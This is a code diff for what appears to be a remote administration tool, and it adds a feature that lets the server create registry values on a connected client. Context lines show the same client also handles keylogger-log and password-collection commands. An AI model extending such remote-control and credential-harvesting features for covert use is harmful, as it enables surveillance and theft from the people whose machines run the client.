diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index 23e79268..6ea3b388 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -4,6 +4,7 @@ using System.Linq; using System.Text; using xClient.Core.Networking; using xClient.Core.Registry; +using xClient.Core.Extensions; namespace xClient.Core.Commands { @@ -23,6 +24,7 @@ namespace xClient.Core.Commands /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ public static partial class CommandHandler { + public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client) { try @@ -54,6 +56,8 @@ namespace xClient.Core.Commands { } } + #region Registry Key Edit + public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client) { xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse(); @@ -116,5 +120,33 @@ namespace xClient.Core.Commands responsePacket.Execute(client); } + + #endregion + + #region RegistryValue Edit + + public static void HandleCreateRegistryValue(xClient.Core.Packets.ServerPackets.DoCreateRegistryValue packet, Client client) + { + xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse(); + string errorMsg = ""; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + + responsePacket.Value = new RegValueData(newKeyName, packet.Kind.RegistryTypeToString(), null); + responsePacket.KeyPath = packet.KeyPath; + + responsePacket.Execute(client); + } + + #endregion } } diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index a12e1c20..383f10a5 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -81,7 +81,7 @@ namespace xClient.Core.Extensions } /// - /// Attempts to create a writable sub key from the key provided using the specified + /// Attempts to create a sub key from the key provided using the specified /// name. This method assumes the caller will dispose of the key when done using it. /// /// The key of which the sub key is to be created from. @@ -225,7 +225,31 @@ namespace xClient.Core.Extensions #endregion - #region FindKey + #region Region Value + + /// + /// Attempts to create a registry value for the key provided using the specified + /// name. + /// + /// The key of which the value is to be created for. + /// The name of the value. + /// Returns a boolean value if the action succeded or failed. + public static bool CreateValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) + { + try + { + key.SetValue(name, data, kind); + return true; + } + catch + { + return false; + } + } + + #endregion + + #region Find /// /// Checks if the specified subkey exists in the key @@ -246,6 +270,25 @@ namespace xClient.Core.Extensions return false; } + /// + /// Checks if the specified registry value exists in the key + /// + /// The key of which to search. + /// The name of the registry value to find. + /// Returns boolean value if the action succeded or failed + /// + public static bool ContainsValue(this RegistryKey key, string name) + { + foreach (string value in key.GetValueNames()) + { + if (value == name) + { + return true; + } + } + return false; + } + #endregion /// diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs index cf1c057a..6b638c84 100644 --- a/Client/Core/Packets/PacketHandler.cs +++ b/Client/Core/Packets/PacketHandler.cs @@ -140,6 +140,10 @@ namespace xClient.Core.Packets { CommandHandler.HandleRenameRegistryKey((ServerPackets.DoRenameRegistryKey)packet, client); } + else if (type == typeof(ServerPackets.DoCreateRegistryValue)) + { + CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client); + } else if (type == typeof(ServerPackets.GetKeyloggerLogs)) { CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client); diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs index 299a8ff7..c25ce33c 100644 --- a/Client/Core/Registry/RegistryEditor.cs +++ b/Client/Core/Registry/RegistryEditor.cs @@ -9,11 +9,13 @@ namespace xClient.Core.Registry { public class RegistryEditor { + + #region RegistryKey /// /// Attempts to create the desired sub key to the specified parent. /// /// The path to the parent for which to create the sub-key on. - /// /// output parameter that holds the name of the sub-key that was create. + /// output parameter that holds the name of the sub-key that was create. /// output parameter that contians possible error message. /// Returns boolean value for if the operation failed or succeded. public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) @@ -162,5 +164,65 @@ namespace xClient.Core.Registry return false; } } + + #endregion + + #region RegistryValue + + /// + /// Attempts to create the desired value for the specified parent. + /// + /// The path to the parent for which to create the sub-key on. + /// The type of the registry value to create. + /// output parameter that holds the name of the registry value that was create. + /// output parameter that contians possible error message. + /// Returns boolean value for if the operation failed or succeded. + public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey key = RegistrySeeker.GetWritableRegistryKey(keyPath); + + //Invalid can not open parent + if (key == null) + { + errorMsg = "You do not have access to open registry: " + keyPath + ", try running as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Key #{0}", i); + + while (key.ContainsValue(testName)) + { + i++; + testName = String.Format("New Key #{0}", i); + } + name = testName; + + bool success = key.CreateValueSafe(name, "", kind); + + //Child could not be created + if (!success) + { + errorMsg = "Cannot create value: Error writing to the registry"; + return false; + } + + //Child was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + #endregion } } diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs index fe2cd7e2..ea8724fd 100644 --- a/Server/Core/Commands/RegistryHandler.cs +++ b/Server/Core/Commands/RegistryHandler.cs @@ -27,6 +27,8 @@ namespace xServer.Core.Commands { } } + #region Registry Key Edit + public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client) { try @@ -86,5 +88,31 @@ namespace xServer.Core.Commands } catch { } } + + #endregion + + #region Registry Value Edit + + public static void HandleCreateRegistryValue(xServer.Core.Packets.ClientPackets.GetCreateRegistryValueResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.AddValueToList(packet.KeyPath, packet.Value); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + #endregion } } diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs index 22cae648..76ab87f5 100644 --- a/Server/Core/Packets/PacketHandler.cs +++ b/Server/Core/Packets/PacketHandler.cs @@ -82,6 +82,10 @@ namespace xServer.Core.Packets { CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client); } + else if (type == typeof(ClientPackets.GetCreateRegistryValueResponse)) + { + CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client); + } else if (type == typeof(ClientPackets.GetPasswordsResponse)) { CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet); diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Server/Forms/FrmRegistryEditor.Designer.cs index 083bd756..f46cc1c9 100644 --- a/Server/Forms/FrmRegistryEditor.Designer.cs +++ b/Server/Forms/FrmRegistryEditor.Designer.cs @@ -38,12 +38,19 @@ this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components); this.statusStrip = new System.Windows.Forms.StatusStrip(); this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); - this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components); this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.keyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); + this.stringToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.binaryValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.dWORD32bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.qWORD64bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.multiStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.expandableStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -140,6 +147,13 @@ this.hValue.Text = "Value"; this.hValue.Width = 384; // + // imageRegistryKeyTypeList + // + this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream"))); + this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent; + this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png"); + this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png"); + // // statusStrip // this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -155,13 +169,6 @@ this.selectedStripStatusLabel.Name = "selectedStripStatusLabel"; this.selectedStripStatusLabel.Size = new System.Drawing.Size(0, 17); // - // imageRegistryKeyTypeList - // - this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream"))); - this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent; - this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png"); - this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png"); - // // contextMenuStrip // this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -175,7 +182,14 @@ // newToolStripMenuItem // this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.keyToolStripMenuItem}); + this.keyToolStripMenuItem, + this.toolStripSeparator2, + this.stringToolStripMenuItem, + this.binaryValueToolStripMenuItem, + this.dWORD32bitValueToolStripMenuItem, + this.qWORD64bitValueToolStripMenuItem, + this.multiStringValueToolStripMenuItem, + this.expandableStringValueToolStripMenuItem}); this.newToolStripMenuItem.Name = "newToolStripMenuItem"; this.newToolStripMenuItem.Size = new System.Drawing.Size(117, 22); this.newToolStripMenuItem.Text = "New"; @@ -183,10 +197,52 @@ // keyToolStripMenuItem // this.keyToolStripMenuItem.Name = "keyToolStripMenuItem"; - this.keyToolStripMenuItem.Size = new System.Drawing.Size(93, 22); + this.keyToolStripMenuItem.Size = new System.Drawing.Size(199, 22); this.keyToolStripMenuItem.Text = "Key"; this.keyToolStripMenuItem.Click += new System.EventHandler(this.createNewRegistryKey_Click); // + // toolStripSeparator2 + // + this.toolStripSeparator2.Name = "toolStripSeparator2"; + this.toolStripSeparator2.Size = new System.Drawing.Size(196, 6); + // + // stringToolStripMenuItem + // + this.stringToolStripMenuItem.Name = "stringToolStripMenuItem"; + this.stringToolStripMenuItem.Size = new System.Drawing.Size(199, 22); + this.stringToolStripMenuItem.Text = "String Value"; + this.stringToolStripMenuItem.Click += new System.EventHandler(this.createStringRegistryValue_Click); + // + // binaryValueToolStripMenuItem + // + this.binaryValueToolStripMenuItem.Name = "binaryValueToolStripMenuItem"; + this.binaryValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22); + this.binaryValueToolStripMenuItem.Text = "Binary Value"; + // + // dWORD32bitValueToolStripMenuItem + // + this.dWORD32bitValueToolStripMenuItem.Name = "dWORD32bitValueToolStripMenuItem"; + this.dWORD32bitValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22); + this.dWORD32bitValueToolStripMenuItem.Text = "DWORD (32-bit) Value"; + // + // qWORD64bitValueToolStripMenuItem + // + this.qWORD64bitValueToolStripMenuItem.Name = "qWORD64bitValueToolStripMenuItem"; + this.qWORD64bitValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22); + this.qWORD64bitValueToolStripMenuItem.Text = "QWORD (64-bit) Value"; + // + // multiStringValueToolStripMenuItem + // + this.multiStringValueToolStripMenuItem.Name = "multiStringValueToolStripMenuItem"; + this.multiStringValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22); + this.multiStringValueToolStripMenuItem.Text = "Multi-String Value"; + // + // expandableStringValueToolStripMenuItem + // + this.expandableStringValueToolStripMenuItem.Name = "expandableStringValueToolStripMenuItem"; + this.expandableStringValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22); + this.expandableStringValueToolStripMenuItem.Text = "Expandable String Value"; + // // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; @@ -219,6 +275,7 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FrmRegistryEditor"; this.Text = "Registry Editor"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRegistryEditor_FormClosing); this.Load += new System.EventHandler(this.FrmRegistryEditor_Load); this.tableLayoutPanel.ResumeLayout(false); this.tableLayoutPanel.PerformLayout(); @@ -252,5 +309,12 @@ private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator2; + private System.Windows.Forms.ToolStripMenuItem stringToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem; } } \ No newline at end of file diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index ba3b61e2..d0db2b74 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -1,4 +1,5 @@ -using System; +using Microsoft.Win32; +using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; @@ -273,6 +274,44 @@ namespace xServer.Forms #region ListView Helpfunctions + public void AddValueToList(string keyPath, RegValueData value) + { + TreeNode key = GetParentTreeNode(keyPath); + + if (key != null ) + { + lstRegistryKeys.Invoke((MethodInvoker)delegate + { + List ValuesFromNode = null; + if (key.Tag != null) { + if (key.Tag.GetType() == typeof(List)) + { + ValuesFromNode = (List)key.Tag; + ValuesFromNode.Add(value); + } + else { return; } + } + else + { + ValuesFromNode = new List(); + ValuesFromNode.Add(value); + } + + if (tvRegistryDirectory.SelectedNode == key) + { + RegistryValueLstItem item = new RegistryValueLstItem(value.Name, value.Type, value.Data); + item.ImageIndex = GetRegistryValueImgIndex(value.Type); + lstRegistryKeys.Items.Add(item); + } + else + { + tvRegistryDirectory.SelectedNode = key.FirstNode; + PopulateLstRegistryKeys(ValuesFromNode); + } + }); + } + } + public void PopulateLstRegistryKeys(List values) { lstRegistryKeys.Items.Clear(); @@ -438,6 +477,19 @@ namespace xServer.Forms } } + #region New Registry Value + + private void createStringRegistryValue_Click(object sender, EventArgs e) + { + if (tvRegistryDirectory.SelectedNode != null) + { + //Request the creation of a new Registry value of type REG_SZ + new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.String).Execute(_connectClient); + } + } + + #endregion + #endregion #region Handlers diff --git a/Server/Forms/FrmRegistryEditor.resx b/Server/Forms/FrmRegistryEditor.resx index c2f92e2d..92ada8fa 100644 --- a/Server/Forms/FrmRegistryEditor.resx +++ b/Server/Forms/FrmRegistryEditor.resx @@ -125,7 +125,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - BwAAAk1TRnQBSQFMAwEBAAHoAQAB6AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + BwAAAk1TRnQBSQFMAwEBAAH4AQAB+AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm @@ -168,8 +168,8 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 - ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABo - CQAAAk1TRnQBSQFMAgEBAgEAAQgBAAEIAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk + CQAAAk1TRnQBSQFMAgEBAgEAARgBAAEYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -202,14 +202,14 @@ Ae8BBwL/AawC/wHVAf8CrAEZAf8BrAL/Ae8gAAHwAf8BvQL5AeMBRwH/AUcBFwL5AZQC/wHvAfAC/wGs Av8B1QH/AdUB9AHZAf8BrAL/Ae8gAAHwAf8BFgHjAf8BlAFHAf8BRwGUAv8B+QL/Ae8B8AL/AawB/wH0 AdUB/wGsARkB2QEZAawC/wHvIAAB8AH/Ab0B+QIWARcB/wFHAb0C/wEXAb0B/wHvAfAB/wHTAawB/wHT - AawB/wHVAawB9QHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAB/wH1 - ARcBvQHjARYB/wFHAfkBvQGUARcC/wHvAfAC/wGsAf8CrAEZAf8B0wH/AdMBrAH1Af8B7yAAAfAB9AH/ - Ab0ClAL/AUcBvQKUA/8B7wHwAfQB/wGsAf8BrAH/AawB/wHTARkB1QEZAdUB/wHvIAAB8AH0Bv8BRwG9 - Af8F7wHwAfQB/wGsAf8BrAH1AdUBGQHTAfQF7yAAAfAC9AX/AUcBvQH/Ae8B8QHzAfQB7wHwAfQB0wGs - Af8B3AGsARkB1QGsAf8B7wHxAfMB9AHvIAAB8AHzAvQH/wHvAfMB9AHvAQAB8AHzAvQH/wHvAfMB9AHv - IQAB8AHxAfMD9AX/Ae8B9AHvAgAB8AHxAfMD9AX/Ae8B9AHvIgAF8AUHA+8DAAXwBQcD7yMAAUIBTQE+ - BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcAA/8BAAT/BAABHAE4ARwBOF0AAQEBAAEBBQABAwEA - AQMFAAEHAQABBwQACw== + AawB/wHVAawB/wHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAC/wEX + Ab0B4wEWAf8BRwH5Ab0BlAEXAv8B7wHwAv8BrAH/AqwBGQH/AdMB/wHTAawC/wHvIAAB8AH0Af8BvQKU + Av8BRwG9ApQD/wHvAfAB9AH/AawB/wGsAf8BrAH/AdMBGQHVARkB1QH/Ae8gAAHwAfQG/wFHAb0B/wXv + AfAB9AH/AawB/wGsAf8B1QEZAdMB9AXvIAAB8AL0Bf8BRwG9Af8B7wHxAfMB9AHvAfAB9AHTAawB/wHc + AawBGQHVAawB/wHvAfEB8wH0Ae8gAAHwAfMC9Af/Ae8B8wH0Ae8BAAHwAfMC9Af/Ae8B8wH0Ae8hAAHw + AfEB8wP0Bf8B7wH0Ae8CAAHwAfEB8wP0Bf8B7wH0Ae8iAAXwBQcD7wMABfAFBwPvIwABQgFNAT4HAAE+ + AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wEABP8EAAEcATgBHAE4XQABAQEAAQEFAAEDAQABAwUA + AQcBAAEHBAAL